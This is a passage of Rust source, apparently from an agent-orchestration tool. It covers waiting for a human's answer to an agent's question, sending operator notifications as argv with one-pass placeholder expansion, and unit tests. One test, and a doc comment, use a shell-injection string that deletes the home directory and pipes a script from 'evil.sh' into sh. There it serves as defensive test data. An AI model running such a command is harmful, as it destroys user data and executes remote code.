1743    // new. `last_word_awaiting_reply` reads the question's own record of
1744    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1745    // turn count this call would have to have been there to capture.
1746    if let Some(said) = q.unread_from_owner() {
1747        return Ok(Wait::Replied(said));
1748    }
1749    hold(store, &q.id);
1750
1751    let bounded = timeout.min(slice);
1752    let is_the_real_deadline = bounded >= timeout;
1753    let deadline = tokio::time::Instant::now() + bounded;
1754    loop {
1755        let now = tokio::time::Instant::now();
1756        if now >= deadline {
1757            if !is_the_real_deadline {
1758                // The lease is left to age out on purpose: the caller is about
1759                // to run `magi ask --wait`, and that gap is what LEASE_TTL
1760                // covers.
1761                return Ok(Wait::Pending);
1762            }
1763            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1764            // Re-checked on the record as it is now: the owner may have said
1765            // something in time since the last poll, and that word is handed
1766            // over, not abandoned.
1767            let (fresh, unread) = store
1768                .update(&q.id, |r| {
1769                    let unread = r.unread_from_owner();
1770                    if unread.is_none() {
1771                        r.abandon(&why);
1772                        r.waiter = None;
1773                    }
1774                    Ok(unread)
1775                })
1776                .context("record the abandoned question")?;
1777            *q = fresh;
1778            if let Some(said) = unread {
1779                return Ok(Wait::Replied(said));
1780            }
1781            tracing::warn!(
1782                "question {} went unanswered for {}s; the run parks and the \
1783                 question stays as the record of it",
1784                q.short(),
1785                timeout.as_secs()
1786            );
1787            return Ok(Wait::Abandoned);
1788        }
1789        tokio::time::sleep(poll.min(deadline - now)).await;
1790        store.beat(&q.id, WaiterKind::Asker);
1791        match store.get(&q.id) {
1792            Ok(fresh) if !fresh.status.open() => {
1793                // Whoever answered - the phone, `magi answer`, another daemon -
1794                // owns the record now, so adopt theirs wholesale rather than
1795                // merging into a copy that predates it.
1796                *q = fresh;
1797                return Ok(match q.resolution() {
1798                    Some(a) => Wait::Answered(a),
1799                    // Closed with no decision - abandoned elsewhere, most
1800                    // often by the run behind it being deleted mid-wait.
1801                    None => Wait::Abandoned,
1802                });
1803            }
1804            Ok(fresh) => {
1805                if let Some(said) = fresh.unread_from_owner() {
1806                    *q = fresh;
1807                    return Ok(Wait::Replied(said));
1808                }
1809                // Still open and not waiting on the agent - nothing this
1810                // wait cares about happened, so keep polling.
1811            }
1812            Err(e) => {
1813                // Mid-rename, or a file the operator is editing by hand.
1814                // Neither is a reason to abandon a question a human may still
1815                // answer, so keep polling until the deadline decides.
1816                tracing::debug!("could not re-read question {}: {e:#}", q.short());
1817            }
1818        }
1819    }
1820}
1821
1822/// Run the operator's notification command, if one is configured.
1823///
1824/// The command is argv, never a shell string, and the substitutions below are a
1825/// single pass over each argument: a summary containing `; rm -rf ~` is one
1826/// argument to one program, and a summary containing the characters `{run}` is
1827/// not re-expanded. That property is the reason agent-authored text can be put
1828/// in a notification at all.
1829///
1830/// An error here is reported, not swallowed, so `magi notify --test` can show
1831/// the operator why nothing arrives. The waiting path logs it and carries on.
1832pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1833    notify_text(cmd, &q.run, &q.summary).await
1834}
1835
1836/// [`notify`] for an event that is not a question: the same command, the same
1837/// placeholders, with `summary` and `run` supplied directly.
1838pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1839    let Some((program, args)) = cmd.command.split_first() else {
1840        // No command configured: the web UI is the only surface, by choice.
1841        return Ok(());
1842    };
1843    let url = web_url();
1844    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1845        tracing::warn!(
1846            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1847             so the link will be empty - export it next to `magi serve` with \
1848             the address `magi web --open` printed"
1849        );
1850    }
1851    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1852    tracing::debug!(program = %program, args = ?argv, "notifying");
1853
1854    let mut child = tokio::process::Command::new(program);
1855    child.quiet();
1856    child
1857        .args(&argv)
1858        .stdin(std::process::Stdio::null())
1859        // Killed if the timeout below drops this future: a notification
1860        // command left running would outlive the run it was announcing.
1861        .kill_on_drop(true);
1862    let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1863        Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1864        Err(_) => bail!(
1865            "notification command `{program}` did not finish within {}s",
1866            NOTIFY_TIMEOUT.as_secs()
1867        ),
1868    };
1869    if !out.status.success() {
1870        let stderr = String::from_utf8_lossy(&out.stderr);
1871        let why = stderr
1872            .lines()
1873            .rev()
1874            .find(|l| !l.trim().is_empty())
1875            .unwrap_or("no output on stderr")
1876            .trim();
1877        bail!(
1878            "notification command `{program}` exited with {}: {why}",
1879            out.status
1880        );
1881    }
1882    Ok(())
1883}
1884
1885/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1886///
1887/// One left-to-right pass, so a substituted value is never scanned for further
1888/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
1889/// in a question must not make the notification recursive.
1890fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1891    let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1892    let mut out = String::with_capacity(template.len());
1893    let mut rest = template;
1894    while let Some(at) = rest.find('{') {
1895        out.push_str(&rest[..at]);
1896        let tail = &rest[at..];
1897        match table.iter().find(|(token, _)| tail.starts_with(token)) {
1898            Some((token, value)) => {
1899                out.push_str(value);
1900                rest = &tail[token.len()..];
1901            }
1902            None => {
1903                // Not a placeholder magi knows: it is the operator's own text.
1904                out.push('{');
1905                rest = &tail[1..];
1906            }
1907        }
1908    }
1909    out.push_str(rest);
1910    out
1911}
1912
1913/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
1914fn web_url() -> String {
1915    question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1916}
1917
1918/// Point a configured base URL at the view that can answer the question.
1919///
1920/// A notification the operator has to navigate from is a question that stays
1921/// unanswered until morning, so the questions view is appended - unless the
1922/// operator already wrote a fragment, in which case they have said where they
1923/// want to land and magi does not know better.
1924fn question_url(base: &str) -> String {
1925    let base = base.trim().trim_end_matches('/');
1926    if base.is_empty() || base.contains('#') {
1927        return base.to_owned();
1928    }
1929    format!("{base}/#/questions")
1930}
1931
1932/// Assemble a panel's contents in an already-empty directory.
1933///
1934/// Split out so [`Questions::put_panel`] can delete the whole directory on the
1935/// first error without an early `return` skipping that cleanup.
1936fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1937    let index = dir.join(PANEL_HTML);
1938    std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1939    for (name, src) in assets {
1940        let dst = dir.join(name);
1941        std::fs::copy(src, &dst)
1942            .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1943    }
1944    Ok(())
1945}
1946
1947/// Remove a directory and everything under it, treating "not there" as done.
1948///
1949/// A panel is replaced wholesale and dropped idempotently, and in both cases
1950/// the absence of the directory is the desired end state, not an error.
1951fn clear_dir(path: &Path) -> Result<()> {
1952    match std::fs::remove_dir_all(path) {
1953        Ok(()) => Ok(()),
1954        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1955        Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1956    }
1957}
1958
1959fn read_path(path: &Path) -> Result<Question> {
1960    let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1961    let q: Question =
1962        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1963    if q.schema > SCHEMA {
1964        // Strictly newer, not merely different: every field added since
1965        // schema 1 carries `#[serde(default)]`, so an *older* schema reads
1966        // here as "no thread yet" rather than as garbage. Only a schema this
1967        // build has never heard of is refused.
1968        bail!(
1969            "question {} was written by a newer magi (schema {}, this build \
1970             only speaks up to {SCHEMA})",
1971            q.id,
1972            q.schema
1973        );
1974    }
1975    Ok(q)
1976}
1977
1978/// [`short`] for callers outside this module (a run id shortens the same way).
1979pub fn short_id(id: &str) -> &str {
1980    short(id)
1981}
1982
1983fn short(id: &str) -> &str {
1984    id.split('-').next_back().unwrap_or(id)
1985}
1986
1987fn new_id() -> String {
1988    let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1989    let seed = crate::rng::entropy();
1990    format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1991}
1992
1993#[cfg(test)]
1994mod tests {
1995    use super::*;
1996
1997    /// A store of its own, with no process-global state - which is the point of
1998    /// `Questions::at`, and why these can run in parallel.
1999    fn store() -> (tempfile::TempDir, Questions) {
2000        let dir = tempfile::tempdir().unwrap();
2001        let s = Questions::at(dir.path().join("questions"));
2002        (dir, s)
2003    }
2004
2005    #[test]
2006    fn run_names_task_only_for_task_questions() {
2007        for (node, want) in [
2008            (crate::conduct::NODE, true),
2009            (crate::triage::NODE, true),
2010            (crate::triage::DEPS_NODE, true),
2011            (crate::land::APPROVAL_NODE, false),
2012            (crate::bump::NOTICE_NODE, false),
2013            ("implement", false),
2014        ] {
2015            let mut q = choice_question();
2016            q.node = node.to_owned();
2017            assert_eq!(q.run_names_task(), want, "{node}");
2018        }
2019    }
2020
2021    #[test]
2022    fn deleting_a_run_stops_its_questions_asking() {
2023        let (_dir, store) = store();
2024
2025        let mut open_one = choice_question();
2026        store.put(&mut open_one).unwrap();
2027        let mut answered = free_question();
2028        answered
2029            .answer(Answer::Text("keep this".to_owned()))
2030            .unwrap();
2031        store.put(&mut answered).unwrap();
2032        let mut elsewhere = choice_question();
2033        elsewhere.run = "20260903-105039-3cbf".to_owned();
2034        store.put(&mut elsewhere).unwrap();
2035
2036        let n = store
2037            .abandon_for_run(&open_one.run, "run was deleted")
2038            .unwrap();
2039        assert_eq!(n, 1, "only the open question of that run");
2040
2041        let back = store.get(&open_one.id).unwrap();
2042        assert!(!back.status.open(), "it no longer asks for a decision");
2043        assert!(
2044            back.detail.contains("run was deleted"),
2045            "the operator can see why: {}",
2046            back.detail
2047        );
2048
2049        let kept = store.get(&answered.id).unwrap();
2050        assert_eq!(
2051            kept.status,
2052            QuestionStatus::Answered,
2053            "an answered question is a decision on record, not something to revoke"
2054        );
2055        assert!(
2056            store.get(&elsewhere.id).unwrap().status.open(),
2057            "another run's question is untouched"
2058        );
2059        assert!(store.open_for(&open_one.run).is_empty());
2060    }
2061
2062    #[test]
2063    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2064        let (_dir, store) = store();
2065        let mut q = choice_question();
2066        store.put(&mut q).unwrap();
2067
2068        // `Blocked` can still be resumed - leave it exactly as it was.
2069        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2070        assert_eq!(n, 0);
2071        assert!(store.get(&q.id).unwrap().status.open());
2072
2073        // `Failed` is not - abandon it, with the run and its fate in the
2074        // reason so the owner can tell what happened without a run to read.
2075        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2076        assert_eq!(n, 1);
2077        let back = store.get(&q.id).unwrap();
2078        assert!(!back.status.open());
2079        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2080
2081        // A second call against the same, now-settled run finds nothing left.
2082        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2083    }
2084
2085    fn choice_question() -> Question {
2086        Question::new(
2087            "20260902-201256-9fb7".to_owned(),
2088            "implement".to_owned(),
2089            "impl-A".to_owned(),
2090            "Which storage backend should the cache use?".to_owned(),
2091            "Both are already dependencies.".to_owned(),
2092            vec!["SQLite".to_owned(), "Redis".to_owned()],
2093        )
2094    }
2095
2096    fn free_question() -> Question {
2097        Question::new(
2098            "20260902-201256-9fb7".to_owned(),
2099            "review".to_owned(),
2100            "rev-1".to_owned(),
2101            "What should the error message say?".to_owned(),
2102            String::new(),
2103            Vec::new(),
2104        )
2105    }
2106
2107    /// No notification, which is the default and what most of these want.
2108    fn quiet() -> config::Notify {
2109        config::Notify::default()
2110    }
2111
2112    #[test]
2113    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2114        // The front end parses these names by hand; there is no shared schema
2115        // and no compiler between the two. A rename here is a UI that shows an
2116        // empty card and reports no error, so the names are asserted literally.
2117        let mut q = choice_question();
2118        q.id = "20260902-231501-ab12".to_owned();
2119        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2120        // `serde_json::Value` holds an object's keys sorted, and key order
2121        // means nothing to a JSON reader anyway: the field *set* is what the
2122        // front end was written against, so that is what is pinned here.
2123        let keys: Vec<&str> = open
2124            .as_object()
2125            .unwrap()
2126            .keys()
2127            .map(String::as_str)
2128            .collect();
2129        assert_eq!(
2130            keys,
2131            [
2132                "actions",
2133                "answer",
2134                "answer_delivered",
2135                "answer_timeout",
2136                "answered_at",
2137                "asked_at",
2138                "assets",
2139                "choices",
2140                "consult",
2141                "cwd",
2142                "decision_context",
2143                "delivered_turns",
2144                "deputy",
2145                "detail",
2146                "id",
2147                "merge_target",
2148                "node",
2149                "panel",
2150                "run",
2151                "schema",
2152                "seat",
2153                "status",
2154                "summary",
2155                "thread",
2156                "triage_generation",
2157                "waiter",
2158            ],
2159            "the on-disk field set is a contract with the front end"
2160        );
2161        assert_eq!(open["schema"], 11);
2162        assert_eq!(open["merge_target"], serde_json::Value::Null);
2163        assert_eq!(open["triage_generation"], serde_json::Value::Null);
2164        assert_eq!(open["thread"], serde_json::json!([]));
2165        assert_eq!(open["id"], "20260902-231501-ab12");
2166        assert_eq!(open["run"], "20260902-201256-9fb7");
2167        assert_eq!(open["node"], "implement");
2168        assert_eq!(open["seat"], "impl-A");
2169        assert_eq!(open["status"], "open");
2170        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2171        assert_eq!(open["answered_at"], serde_json::Value::Null);
2172        assert_eq!(open["answer"], serde_json::Value::Null);
2173        let asked = open["asked_at"].as_str().unwrap();
2174        assert!(
2175            asked.ends_with('Z') && asked.contains('T'),
2176            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2177        );
2178
2179        // A chosen option, exactly as the contract spells it.
2180        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2181        let answered = serde_json::to_value(&q).unwrap();
2182        assert_eq!(answered["status"], "answered");
2183        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2184        assert!(answered["answered_at"].is_string());
2185
2186        // And free text, which is the other of the two forms.
2187        let mut free = free_question();
2188        free.answer(Answer::Text("Say which file it was".to_owned()))
2189            .unwrap();
2190        assert_eq!(
2191            serde_json::to_value(&free).unwrap()["answer"],
2192            serde_json::json!({"text": "Say which file it was"})
2193        );
2194
2195        // And it survives the round trip a reader actually performs.
2196        let body = serde_json::to_string(&q).unwrap();
2197        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2198    }
2199
2200    #[test]
2201    fn merge_target_persists_and_schema_10_questions_remain_readable() {
2202        let (_dir, store) = store();
2203        let mut q = approval_question();
2204        q.merge_target = Some(crate::merge_decision::Target {
2205            pr: "https://github.com/example/repo/pull/42".into(),
2206            head: "reviewed-head".into(),
2207            language: "ja".into(),
2208        });
2209        store.put(&mut q).unwrap();
2210        let saved = store.get(&q.id).unwrap();
2211        assert_eq!(saved, q);
2212        let mut body = serde_json::to_value(&saved).unwrap();
2213        assert_eq!(body["schema"], 11);
2214        assert_eq!(
2215            body["merge_target"],
2216            serde_json::json!({
2217                "pr": "https://github.com/example/repo/pull/42",
2218                "head": "reviewed-head",
2219                "language": "ja"
2220            })
2221        );
2222
2223        // Earlier merge/hold cards have no target field. Read the actual
2224        // on-disk shape through the store, including its schema guard.
2225        body["schema"] = serde_json::json!(10);
2226        body.as_object_mut().unwrap().remove("merge_target");
2227        std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2228        let legacy = store.get(&q.id).unwrap();
2229        assert_eq!(legacy.schema, 10);
2230        assert!(legacy.merge_target.is_none());
2231        assert_eq!(legacy.choices, q.choices);
2232        assert_eq!(legacy.status, q.status);
2233    }
2234
2235    #[test]
2236    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2237        // Four different mistakes, four different fixes: the web handler shows
2238        // these strings to the person who made them.
2239        let mut unoffered = choice_question();
2240        let a = unoffered
2241            .answer(Answer::Choice("Postgres".to_owned()))
2242            .unwrap_err()
2243            .to_string();
2244
2245        let mut typed = choice_question();
2246        let b = typed
2247            .answer(Answer::Text("use Postgres".to_owned()))
2248            .unwrap_err()
2249            .to_string();
2250
2251        let mut blank = free_question();
2252        let c = blank
2253            .answer(Answer::Text("   \n".to_owned()))
2254            .unwrap_err()
2255            .to_string();
2256
2257        let mut twice = choice_question();
2258        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2259        let d = twice
2260            .answer(Answer::Choice("Redis".to_owned()))
2261            .unwrap_err()
2262            .to_string();
2263
2264        assert!(a.contains("not one of the choices"), "{a}");
2265        assert!(b.contains("multiple choice"), "{b}");
2266        assert!(c.contains("empty"), "{c}");
2267        assert!(d.contains("already answered"), "{d}");
2268        let mut distinct = vec![a, b, c, d];
2269        let asked = distinct.len();
2270        distinct.sort_unstable();
2271        distinct.dedup();
2272        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2273
2274        // The refused ones are still open, so the owner can answer properly.
2275        assert_eq!(unoffered.status, QuestionStatus::Open);
2276        assert_eq!(typed.status, QuestionStatus::Open);
2277        assert_eq!(blank.status, QuestionStatus::Open);
2278        // And the first answer to the double-answered one survived.
2279        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2280
2281        // Free text refuses a fabricated choice for the mirror-image reason.
2282        let mut free = free_question();
2283        let e = free
2284            .answer(Answer::Choice("SQLite".to_owned()))
2285            .unwrap_err()
2286            .to_string();
2287        assert!(e.contains("free text"), "{e}");
2288    }
2289
2290    #[test]
2291    fn open_questions_are_listed_before_answered_ones() {
2292        let (_dir, s) = store();
2293        // Ids carry a timestamp, so force a known order: the answered one is
2294        // the newest, and must still sort below the open ones.
2295        let mut old_open = choice_question();
2296        old_open.id = "20260101-000001-aaaa".to_owned();
2297        let mut new_open = choice_question();
2298        new_open.id = "20260101-000002-bbbb".to_owned();
2299        let mut answered = choice_question();
2300        answered.id = "20260101-000003-cccc".to_owned();
2301        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2302        for q in [&mut old_open, &mut new_open, &mut answered] {
2303            s.put(q).unwrap();
2304        }
2305
2306        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2307        assert_eq!(
2308            ids,
2309            [
2310                "20260101-000002-bbbb",
2311                "20260101-000001-aaaa",
2312                "20260101-000003-cccc"
2313            ],
2314            "what has stopped work comes first; history sorts underneath"
2315        );
2316        assert_eq!(s.count_open(), 2);
2317        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2318        assert!(s.open_for("some-other-run").is_empty());
2319        // The short id is what the phone and the reports show.
2320        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2321        assert!(s.get("20260101-000002-bbbb").is_ok());
2322        assert!(s.resolve_id("nope").is_err());
2323        assert!(
2324            s.revision() > 0,
2325            "the store's mtime drives the phone's polling"
2326        );
2327    }
2328
2329    #[test]
2330    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2331        let (_dir, s) = store();
2332        let mut good = choice_question();
2333        s.put(&mut good).unwrap();
2334        // Truncated by a killed writer, and written by a magi from the future.
2335        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2336        let future = serde_json::json!({
2337            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2338            "seat": "s", "summary": "?", "detail": "", "choices": [],
2339            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2340            "answered_at": null, "answer": null,
2341        });
2342        std::fs::write(
2343            s.path_of("20260101-000010-beef"),
2344            serde_json::to_string(&future).unwrap(),
2345        )
2346        .unwrap();
2347
2348        let listed = s.list();
2349        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2350        assert_eq!(listed[0].id, good.id);
2351        // Asked for by name, the unreadable one explains itself instead.
2352        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2353        assert!(e.contains("schema"), "{e}");
2354    }
2355
2356    #[tokio::test]
2357    async fn the_wait_returns_the_answer_another_process_wrote() {
2358        // The phone, `magi answer` and this run are three processes with no
2359        // channel between them: the file is the channel, so the wait has to see
2360        // a write it did not make. Sub-second timings keep this a real wait
2361        // without a real one's duration.
2362        let (dir, s) = store();
2363        let mut q = choice_question();
2364        let id = q.id.clone();
2365        let writer = Questions::at(dir.path().join("questions"));
2366        let handle = tokio::spawn(async move {
2367            tokio::time::sleep(Duration::from_millis(30)).await;
2368            let mut fresh = writer.get(&id).expect("the question was filed first");
2369            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2370            writer.put(&mut fresh).unwrap();
2371        });
2372
2373        let got = wait_for_owner(
2374            &mut q,
2375            &s,
2376            &quiet(),
2377            Duration::from_secs(5),
2378            Duration::from_millis(10),
2379        )
2380        .await
2381        .unwrap();
2382
2383        handle.await.unwrap();
2384        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2385        assert_eq!(
2386            q.status,
2387            QuestionStatus::Answered,
2388            "the caller's copy is refreshed from the answering process's record"
2389        );
2390        assert!(q.answered_at.is_some());
2391    }
2392
2393    #[tokio::test]
2394    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2395        let (_dir, s) = store();
2396        let mut q = choice_question();
2397
2398        let got = wait_for_owner(
2399            &mut q,
2400            &s,
2401            &quiet(),
2402            Duration::from_millis(60),
2403            Duration::from_millis(10),
2404        )
2405        .await
2406        .unwrap();
2407
2408        assert_eq!(
2409            got,
2410            Wait::Abandoned,
2411            "a slow human is not an error; the run parks"
2412        );
2413        assert_eq!(q.status, QuestionStatus::Abandoned);
2414        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2415        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2416        assert!(
2417            on_disk.detail.contains("Abandoned:"),
2418            "why nobody answered belongs with the question: {}",
2419            on_disk.detail
2420        );
2421        assert!(on_disk.resolution().is_none());
2422        assert_eq!(s.count_open(), 0);
2423    }
2424
2425    #[tokio::test]
2426    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2427        // This is the whole point of slicing: `timeout` (the real
2428        // `answer_timeout` budget) is far larger than `slice`, so the loop
2429        // must land on `slice` first and hand back `Pending` - not read the
2430        // silence so far as the owner having given up.
2431        let (_dir, s) = store();
2432        let mut q = choice_question();
2433        s.put(&mut q).unwrap();
2434
2435        let got = wait_loop(
2436            &mut q,
2437            &s,
2438            Duration::from_secs(3600),
2439            Duration::from_millis(30),
2440            Duration::from_millis(10),
2441        )
2442        .await
2443        .unwrap();
2444
2445        assert_eq!(
2446            got,
2447            Wait::Pending,
2448            "the clock on this call ran out, not the owner's patience"
2449        );
2450        assert_eq!(
2451            q.status,
2452            QuestionStatus::Open,
2453            "a slice expiring must never abandon the question"
2454        );
2455        let on_disk = s.get(&q.id).expect("still on disk, still open");
2456        assert_eq!(
2457            on_disk.status,
2458            QuestionStatus::Open,
2459            "nothing about the record changed just because this call gave up"
2460        );
2461    }
2462
2463    #[tokio::test]
2464    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2465        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2466        // and returns `Pending`, a second slice - a fresh call, exactly as a
2467        // fresh process would make - picks the same question back up and
2468        // sees an answer written in between.
2469        let (dir, s) = store();
2470        let mut q = choice_question();
2471        s.put(&mut q).unwrap();
2472
2473        let first = wait_loop(
2474            &mut q,
2475            &s,
2476            Duration::from_secs(3600),
2477            Duration::from_millis(30),
2478            Duration::from_millis(10),
2479        )
2480        .await
2481        .unwrap();
2482        assert_eq!(first, Wait::Pending);
2483
2484        let id = q.id.clone();
2485        let writer = Questions::at(dir.path().join("questions"));
2486        let mut fresh = writer.get(&id).unwrap();
2487        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2488        writer.put(&mut fresh).unwrap();
2489
2490        // `resume_wait` uses its own production poll interval rather than a
2491        // test-injected one, so the budget here only needs to be large enough
2492        // to cover one real poll tick - the point is that it is `resume_wait`
2493        // itself, not a helper, that finds the answer.
2494        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2495            .await
2496            .unwrap();
2497        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2498        assert_eq!(q.status, QuestionStatus::Answered);
2499    }
2500
2501    #[tokio::test]
2502    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2503        // The owner can speak back while nothing is running at all - between
2504        // one call reporting `Wait::Pending` and the next `--wait` picking
2505        // the question back up - and whoever resumes the wait loads a
2506        // *fresh* copy of the question off disk, one whose thread already
2507        // contains that reply. A baseline taken from that fresh copy would
2508        // treat the reply as pre-existing and never notice it "arrive",
2509        // leaving the agent polling in silence until `answer_timeout`
2510        // eventually abandons the question - replacing the exact accident
2511        // this feature exists to fix with a quieter version of itself.
2512        let (dir, s) = store();
2513        let mut q = choice_question();
2514        s.put(&mut q).unwrap();
2515
2516        let first = wait_loop(
2517            &mut q,
2518            &s,
2519            Duration::from_secs(3600),
2520            Duration::from_millis(30),
2521            Duration::from_millis(10),
2522        )
2523        .await
2524        .unwrap();
2525        assert_eq!(first, Wait::Pending);
2526
2527        // The owner speaks back during the gap, with nobody running yet.
2528        let id = q.id.clone();
2529        let writer = Questions::at(dir.path().join("questions"));
2530        let mut fresh = writer.get(&id).unwrap();
2531        fresh.say("why not Postgres?").unwrap();
2532        writer.put(&mut fresh).unwrap();
2533
2534        // `magi ask --wait` re-reads the question rather than reusing the
2535        // stale in-memory copy the earlier call held - so the copy handed to
2536        // `resume_wait` here already carries the reply, same as `fresh` above.
2537        let mut resumed = s.get(&id).unwrap();
2538        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2539            .await
2540            .unwrap();
2541        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2542        assert_eq!(
2543            resumed.status,
2544            QuestionStatus::Open,
2545            "talking back is not a decision; the question stays open"
2546        );
2547    }
2548
2549    #[tokio::test]
2550    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2551        // A broken webhook must not throw away an implementation, so the wait
2552        // reports the failure and carries on. `notify` itself still says what
2553        // went wrong, because `magi notify --test` has to be able to show it.
2554        let (dir, s) = store();
2555        let broken = config::Notify {
2556            command: vec![
2557                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2558                "{summary}".to_owned(),
2559            ],
2560        };
2561        let mut q = choice_question();
2562        assert!(
2563            notify(&broken, &q).await.is_err(),
2564            "the caller is told; it decides that it does not matter"
2565        );
2566
2567        let id = q.id.clone();
2568        let writer = Questions::at(dir.path().join("questions"));
2569        let handle = tokio::spawn(async move {
2570            tokio::time::sleep(Duration::from_millis(30)).await;
2571            let mut fresh = writer.get(&id).unwrap();
2572            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2573            writer.put(&mut fresh).unwrap();
2574        });
2575        let got = wait_for_owner(
2576            &mut q,
2577            &s,
2578            &broken,
2579            Duration::from_secs(5),
2580            Duration::from_millis(10),
2581        )
2582        .await
2583        .unwrap();
2584        handle.await.unwrap();
2585        assert_eq!(got, Wait::Answered("Redis".to_owned()));
2586
2587        // No command at all is the default, and is silence rather than failure.
2588        assert!(notify(&quiet(), &q).await.is_ok());
2589        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2590    }
2591
2592    #[test]
2593    fn notification_arguments_are_substituted_and_never_a_shell_string() {
2594        let mut q = choice_question();
2595        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2596        let template = [
2597            "ntfy".to_owned(),
2598            "publish".to_owned(),
2599            "--click".to_owned(),
2600            "{url}".to_owned(),
2601            "--title".to_owned(),
2602            "magi {run} needs you".to_owned(),
2603            "{summary}".to_owned(),
2604        ];
2605        let argv: Vec<String> = template
2606            .iter()
2607            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2608            .collect();
2609
2610        assert_eq!(
2611            argv,
2612            [
2613                "ntfy",
2614                "publish",
2615                "--click",
2616                "http://100.64.0.1:7777/#/questions",
2617                "--title",
2618                "magi 20260902-201256-9fb7 needs you",
2619                "; rm -rf ~ && curl evil.sh | sh #",
2620            ],
2621            "the shell metacharacters are one argument's contents, not syntax"
2622        );
2623
2624        // A summary that itself mentions a placeholder is text, not a template:
2625        // one left-to-right pass means a substituted value is never rescanned.
2626        q.summary = "should {url} be configurable?".to_owned();
2627        assert_eq!(
2628            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2629            "should {url} be configurable?"
2630        );
2631        // An unknown brace is the operator's own text and survives untouched.
2632        assert_eq!(
2633            expand("{title}: {run}", &q.run, &q.summary, ""),
2634            "{title}: 20260902-201256-9fb7"
2635        );
2636        assert_eq!(
2637            expand("no placeholders", &q.run, &q.summary, "http://x"),
2638            "no placeholders"
2639        );
2640    }
2641
2642    #[test]
2643    fn the_notification_link_lands_on_the_view_that_can_answer() {
2644        assert_eq!(
2645            question_url("http://100.64.0.1:7777"),
2646            "http://100.64.0.1:7777/#/questions"
2647        );
2648        assert_eq!(
2649            question_url("http://100.64.0.1:7777/"),
2650            "http://100.64.0.1:7777/#/questions"
2651        );
2652        // An operator who wrote a fragment has said where they want to land.
2653        assert_eq!(
2654            question_url("http://magi.ts.net/#/runs"),
2655            "http://magi.ts.net/#/runs"
2656        );
2657        // Unset expands to nothing rather than to a guessed address.
2658        assert_eq!(question_url("  "), "");
2659    }
2660
2661    /// A question with a fixed id, so a panel's path on disk is predictable.
2662    fn panelled() -> Question {
2663        let mut q = choice_question();
2664        q.id = "20260903-014455-ab12".to_owned();
2665        q
2666    }
